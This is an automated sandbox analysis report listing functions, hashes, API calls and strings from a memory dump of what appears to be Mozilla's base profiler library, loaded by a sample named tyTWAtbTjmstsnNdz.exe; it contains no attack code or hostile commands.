Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 91d51bd0b99bf9ee7a06ef3d03d216e203ea299249f994d37043483ed490d7bc
Instruction ID: 4e5ce33fd76dea0a851c2f47ef242b0e6831ec76c8cb2e8f57f939aec24988a0
Opcode Fuzzy Hash: 91d51bd0b99bf9ee7a06ef3d03d216e203ea299249f994d37043483ed490d7bc
Instruction Fuzzy Hash: C4C1D275E01A099BCB04CF99C5906EEBBF6FF8A318F28415DD8556BB45D732A806CB80

Function 6C96DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4142c855acb8172d1abc02ea329f2f545da3fde3ca34d67b0cb44c0176768663
Instruction ID: ce2c7b58318e0b84884a9d16268ab1ba5e8373e1e8b1ffcea28e1bd6468ad357
Opcode Fuzzy Hash: 4142c855acb8172d1abc02ea329f2f545da3fde3ca34d67b0cb44c0176768663
Instruction Fuzzy Hash: D342A172A087518BD304CE3DC89175AB3E2BFC9364F198B2DE999A7BD0D734D9418B81

Function 6C9D76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 0ebc6e4fdf23630dc24123358578e6835c461ca9a55e0968987620edce2fe440
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 6332FA71E0061A8FCB14CF98C890AADF7B6FF88308F5585A9C549B7749D731A986CF90

Function 6C9D6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 129051dfbdf47109d22125346549a7b71f077f2eb3b97d5bd55c818db7750ebe
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 8F22D771E006198FCB14CF98C980AADF7B6FF88304F6585AAC949B7745D731A986CF90

Function 6C990512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3ad7e1e44205c6cbb74dce5697b1d3f2934bd4840bbf42ccf8143b5a0931f8f6
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 81221771E00619CFDB24CF98C890AADF7B6FF89304F588599C45AA7705D731A986CF80

Function 6C9DAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 104a1d4f600792dbecf740e3db9629e6f858578d94632c2e5315b444448896ab
Instruction ID: f647ee1b894d18281f36c2218e6d869d07e5fdf261373496c6fe6523c80de9b9
Opcode Fuzzy Hash: 104a1d4f600792dbecf740e3db9629e6f858578d94632c2e5315b444448896ab
Instruction Fuzzy Hash: 13F15A71608B458FD700CE28C8803AAB7E6AFD5318F16CA2DE4D4A7781EB74F955C792

Function 6C96C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 0f87789f549e13f194901cf071e96575f9c6e4bb450b7fed63516011928a5396
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 31A19371F0061A8BEF08CE69C8913AEB7F2AFC9354F198169E915E7785D7349C068BD0

Function 6C9A7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 25ce86b1801e4499871e3291e4349bcda2c9ee60c04ceca5766ccf145d11c721
Instruction ID: 185534ce8f289f252d1c5f603062cda4f284b50dcc17ff7a5b3d457368a920cd
Opcode Fuzzy Hash: 25ce86b1801e4499871e3291e4349bcda2c9ee60c04ceca5766ccf145d11c721
Instruction Fuzzy Hash: F4717C75E012198FCB18CFA8D8915EEBBB6FF89314F24816ED416AB744D731A906CF90

Function 6C9A58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 951b0a1a16b43d55b0f83233c587641632b93214faccf13e7b62fda1c7327c38
Instruction ID: 5d4c60100473a5be67758edd216465f545d3783538c42449a8a5739c361d1882
Opcode Fuzzy Hash: 951b0a1a16b43d55b0f83233c587641632b93214faccf13e7b62fda1c7327c38
Instruction Fuzzy Hash: D1817C75A016199FCB04CFA8D880AEEBBF6FF89314F644269D411BB741D731E946CBA0

Function 6C9ACC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C97582D), ref: 6C9ACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C97582D), ref: 6C9ACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9DFE98,?,?,?,?,?,6C97582D), ref: 6C9ACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C9ACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C9ACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C9ACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C9ACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C9ACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C9ACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C9ACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C9ACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C9ACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C9ACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C9ACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C9ACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C9ACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C9ACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C9ACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C9ACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C9ACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C9ACE8A

Strings

fileio, xrefs: 6C9ACC92
jsallocations, xrefs: 6C9ACD0E
mainthreadio, xrefs: 6C9ACC7C
samplingallthreads, xrefs: 6C9ACE2C
screenshots, xrefs: 6C9ACCD4
preferencereads, xrefs: 6C9ACD92
nostacksampling, xrefs: 6C9ACD7C
noiostacks, xrefs: 6C9ACCBE
processcpu, xrefs: 6C9ACE6E
ipcmessages, xrefs: 6C9ACDBE
cpuallthreads, xrefs: 6C9ACE16
seqstyle, xrefs: 6C9ACCE6
nativeallocations, xrefs: 6C9ACDA8
Unrecognized feature "%s"., xrefs: 6C9ACEA0
power, xrefs: 6C9ACE84
tyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAt, xrefs: 6C9ACD25
notimerresolutionchange, xrefs: 6C9ACE00
leaf, xrefs: 6C9ACC66
default, xrefs: 6C9ACC21
markersallthreads, xrefs: 6C9ACE42
audiocallbacktracing, xrefs: 6C9ACDD4
stackwalk, xrefs: 6C9ACCF8
fileioall, xrefs: 6C9ACCA8
java, xrefs: 6C9ACC37
unregisteredthreads, xrefs: 6C9ACE58

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: strcmp
String ID: tyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAtbTjmstsnNdz.exetyTWAt$Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2772303440
Opcode ID: 2ce3fc2b65e1df1d1df83457439cb152784e19b7d9c163ee3055b682f8c20a91
Instruction ID: dab010c6254599a331f99b44fb7154cf41ec0d4256262a93ff03c197371ade1f
Opcode Fuzzy Hash: 2ce3fc2b65e1df1d1df83457439cb152784e19b7d9c163ee3055b682f8c20a91
Instruction Fuzzy Hash: 1051B8D1905A2612FB0132D52D11BAA7548EFB724AF11843AED0ABDF80FF06F61B45B7

Function 6C9747C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C974801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C974817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C97482D
__Init_thread_footer.LIBCMT ref: 6C97484A

Part of subcall function 6C99AB3F: EnterCriticalSection.KERNEL32(6C9EE370,?,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284), ref: 6C99AB49
Part of subcall function 6C99AB3F: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99AB7C

GetCurrentThreadId.KERNEL32 ref: 6C97485F
GetCurrentThreadId.KERNEL32 ref: 6C97487E
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97488B
free.MOZGLUE(?), ref: 6C97493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C974956
free.MOZGLUE(00000000), ref: 6C974960
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97499A

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

free.MOZGLUE(?), ref: 6C9749C6
free.MOZGLUE(?), ref: 6C9749E9

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C974A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9747FC
[I %d/%d] profiler_shutdown, xrefs: 6C974A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C974828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C974812

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 09d37059e9485f5cb939e8e5b31f392597fd25b1e481afc8c2643cc311605fa4
Instruction ID: cdc7aef73ddd365cbf35201616628232fc6466abfdfca2354ad483032cdcf679
Opcode Fuzzy Hash: 09d37059e9485f5cb939e8e5b31f392597fd25b1e481afc8c2643cc311605fa4
Instruction Fuzzy Hash: 45812471A06200CBEB64DF28D84875A3775BF6A31CF24062AD91697B43E731E944CFA6

Function 6C974470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C974730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9744B2,6C9EE21C,6C9EF7F8), ref: 6C97473E
Part of subcall function 6C974730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C97474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9744D2
InitOnceExecuteOnce.KERNEL32(6C9EF80C,6C96F240,?,?), ref: 6C97451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C97455C
LoadLibraryW.KERNEL32(?), ref: 6C974592
InitializeCriticalSection.KERNEL32(6C9EF770), ref: 6C9745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9745BB
InitOnceExecuteOnce.KERNEL32(6C9EF818,6C96F240,?,?), ref: 6C974612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C974636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C974644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C97466D
VerSetConditionMask.NTDLL ref: 6C97469F
VerSetConditionMask.NTDLL ref: 6C9746AB
VerSetConditionMask.NTDLL ref: 6C9746B2
VerSetConditionMask.NTDLL ref: 6C9746B9
VerSetConditionMask.NTDLL ref: 6C9746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9746FD

Strings

user32.dll, xrefs: 6C974557, 6C97463F
WRusr.dll, xrefs: 6C9744B5
l, xrefs: 6C974578
NativeNtBlockSet_Write, xrefs: 6C9746F7
kernel32.dll, xrefs: 6C9744CD

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: ba6186cc0a9d32f7075c6fe85e9289580dcd09be687a055cba043cad8f9f5b7a
Instruction ID: 6c8001da77f00616909d5cdb2e9b5e432c4615f53ee91d71125fcd12a1ee1bcb
Opcode Fuzzy Hash: ba6186cc0a9d32f7075c6fe85e9289580dcd09be687a055cba043cad8f9f5b7a
Instruction Fuzzy Hash: A16127B1609344EFEB218F61DC09B9577B8EFAE70CF248499E5049B642D771CA44CFA1

Function 6C9AE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C9AB9F1,?), ref: 6C9A7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9ADCF5), ref: 6C9AE92D
GetCurrentThreadId.KERNEL32 ref: 6C9AEA4F
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEA5C
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEA80
GetCurrentThreadId.KERNEL32 ref: 6C9AEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9ADCF5), ref: 6C9AEA92
GetCurrentThreadId.KERNEL32 ref: 6C9AEB11
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C9AEB3C
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEB5B

Part of subcall function 6C9A5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9AEB71), ref: 6C9A57AB

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C9AEBAC

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AEBC1
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9AEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C9AEBE5
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,00000000), ref: 6C9AEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AEC46
CloseHandle.KERNEL32(?), ref: 6C9AEC55
free.MOZGLUE(00000000), ref: 6C9AEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C9AEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C9AEA9B

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: c9420bc0aa32cdd7b0d474505409d15a1a1c50cfc5fed2be34274c580b54314a
Instruction ID: 83e9bcd2a02299f8544257fea0ba4ff7711a0a8f837b4db0aecfba8a223d3c62
Opcode Fuzzy Hash: c9420bc0aa32cdd7b0d474505409d15a1a1c50cfc5fed2be34274c580b54314a
Instruction Fuzzy Hash: C1A137317043049FDB409FA8D848B6677B5FFFA308F24442AE91987B51EB31D816CBA5

Function 6C9AF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF70E
